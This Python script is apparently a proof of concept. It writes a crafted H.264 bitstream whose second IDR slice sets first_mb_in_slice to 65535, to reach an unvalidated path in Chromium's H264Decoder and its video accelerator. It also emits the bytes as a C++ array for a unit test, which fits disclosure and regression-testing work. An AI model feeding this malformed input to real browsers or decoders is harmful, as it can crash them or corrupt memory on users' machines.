#!/usr/bin/env python3
"""
Generates an H.264 Annex-B bitstream demonstrating the unvalidated
first_mb_in_slice path in Chromium's H264Decoder.

Stream layout:
  SPS  (320x240, baseline, pic_order_cnt_type=2)
  PPS
  IDR slice 0 : first_mb_in_slice = 0      (passes the new-picture check)
  IDR slice 1 : first_mb_in_slice = 65535  (same frame_num/idr_pic_id ->
                                            IsNewPrimaryCodedPicture()==false ->
                                            no validation -> reaches accelerator)

The slice payloads are not decodable macroblock data; they only need to
survive H264Parser::ParseSliceHeader(). The H264Decoder hands the raw NALU
bytes to the accelerator after the header parses successfully.
"""

import sys


class BitWriter:
    def __init__(self):
        self.bits = []

    def u(self, n, val):
        for i in range(n - 1, -1, -1):
            self.bits.append((val >> i) & 1)

    def ue(self, val):
        # Exp-Golomb unsigned
        code = val + 1
        nbits = code.bit_length()
        self.u(nbits - 1, 0)      # leading zeros
        self.u(nbits, code)       # info bits

    def se(self, val):
        # Exp-Golomb signed
        if val > 0:
            self.ue(2 * val - 1)
        else:
            self.ue(-2 * val)

    def rbsp_trailing(self):
        self.bits.append(1)
        while len(self.bits) % 8 != 0:
            self.bits.append(0)

    def bytes(self):
        assert len(self.bits) % 8 == 0
        out = bytearray()
        for i in range(0, len(self.bits), 8):
            b = 0
            for j in range(8):
                b = (b << 1) | self.bits[i + j]
            out.append(b)
        return out


def add_emulation_prevention(rbsp):
    """Insert 0x03 after any 0x00 0x00 followed by 0x00/0x01/0x02/0x03."""
    out = bytearray()
    zero_run = 0
    for b in rbsp:
        if zero_run >= 2 and b <= 0x03:
            out.append(0x03)
            zero_run = 0
        out.append(b)
        if b == 0x00:
            zero_run += 1
        else:
            zero_run = 0
    return out


def make_nalu(nal_ref_idc, nal_unit_type, rbsp):
    hdr = bytes([(nal_ref_idc & 3) << 5 | (nal_unit_type & 0x1F)])
    return hdr + bytes(add_emulation_prevention(rbsp))


def build_sps():
    bw = BitWriter()
    bw.u(8, 66)    # profile_idc = Baseline
    bw.u(8, 0x00)  # constraint_set flags + reserved zero
    bw.u(8, 30)    # level_idc = 3.0
    bw.ue(0)       # seq_parameter_set_id
    bw.ue(0)       # log2_max_frame_num_minus4  -> frame_num is 4 bits
    bw.ue(2)       # pic_order_cnt_type = 2 (no POC fields in slice hdr)
    bw.ue(1)       # max_num_ref_frames
    bw.u(1, 0)     # gaps_in_frame_num_value_allowed_flag
    bw.ue(19)      # pic_width_in_mbs_minus1       -> 320 px
    bw.ue(14)      # pic_height_in_map_units_minus1-> 240 px
    bw.u(1, 1)     # frame_mbs_only_flag
    bw.u(1, 1)     # direct_8x8_inference_flag
    bw.u(1, 0)     # frame_cropping_flag
    bw.u(1, 0)     # vui_parameters_present_flag
    bw.rbsp_trailing()
    return make_nalu(3, 7, bw.bytes())


def build_pps():
    bw = BitWriter()
    bw.ue(0)       # pic_parameter_set_id
    bw.ue(0)       # seq_parameter_set_id
    bw.u(1, 0)     # entropy_coding_mode_flag (CAVLC)
    bw.u(1, 0)     # bottom_field_pic_order_in_frame_present_flag
    bw.ue(0)       # num_slice_groups_minus1
    bw.ue(0)       # num_ref_idx_l0_default_active_minus1
    bw.ue(0)       # num_ref_idx_l1_default_active_minus1
    bw.u(1, 0)     # weighted_pred_flag
    bw.u(2, 0)     # weighted_bipred_idc
    bw.se(0)       # pic_init_qp_minus26
    bw.se(0)       # pic_init_qs_minus26
    bw.se(0)       # chroma_qp_index_offset
    bw.u(1, 0)     # deblocking_filter_control_present_flag
    bw.u(1, 0)     # constrained_intra_pred_flag
    bw.u(1, 0)     # redundant_pic_cnt_present_flag
    bw.rbsp_trailing()
    return make_nalu(3, 8, bw.bytes())


def build_idr_slice(first_mb_in_slice):
    bw = BitWriter()
    bw.ue(first_mb_in_slice)  # first_mb_in_slice
    bw.ue(7)                  # slice_type = 7 (I, all slices same type)
    bw.ue(0)                  # pic_parameter_set_id
    bw.u(4, 0)                # frame_num (log2_max_frame_num_minus4=0 -> 4 bits)
    bw.ue(0)                  # idr_pic_id
    # pic_order_cnt_type == 2 -> no POC fields here
    # I-slice -> no num_ref_idx_active_override / ref_pic_list_modification
    # nal_ref_idc != 0 && idr_pic_flag -> dec_ref_pic_marking:
    bw.u(1, 0)                # no_output_of_prior_pics_flag
    bw.u(1, 0)                # long_term_reference_flag
    # entropy_coding_mode_flag=0 && I-slice -> no cabac_init_idc
    bw.se(0)                  # slice_qp_delta
    # deblocking_filter_control_present_flag=0 -> nothing
    # End of slice header parsed by H264Parser. Append a few bytes of dummy
    # "slice data" so the NALU has a body, then rbsp trailing.
    bw.u(8, 0xAA)
    bw.u(8, 0xAA)
    bw.rbsp_trailing()
    return make_nalu(3, 5, bw.bytes())


def main():
    sc = b"\x00\x00\x00\x01"
    sps = build_sps()
    pps = build_pps()
    s0 = build_idr_slice(0)
    s1 = build_idr_slice(65535)

    stream = sc + sps + sc + pps + sc + s0 + sc + s1

    with open("poc.h264", "wb") as f:
        f.write(stream)

    def hexdump(label, b):
        print(f"{label} ({len(b)} bytes): " +
              " ".join(f"{x:02x}" for x in b))

    hexdump("SPS    ", sps)
    hexdump("PPS    ", pps)
    hexdump("Slice0 ", s0)
    hexdump("Slice1 ", s1)
    print()
    print("// C++ array for embedding in a unit test:")
    print("const uint8_t kStream[] = {")
    for i in range(0, len(stream), 12):
        print("    " + ", ".join(f"0x{x:02x}" for x in stream[i:i+12]) + ",")
    print("};")
    print(f"// total {len(stream)} bytes")


if __name__ == "__main__":
    main()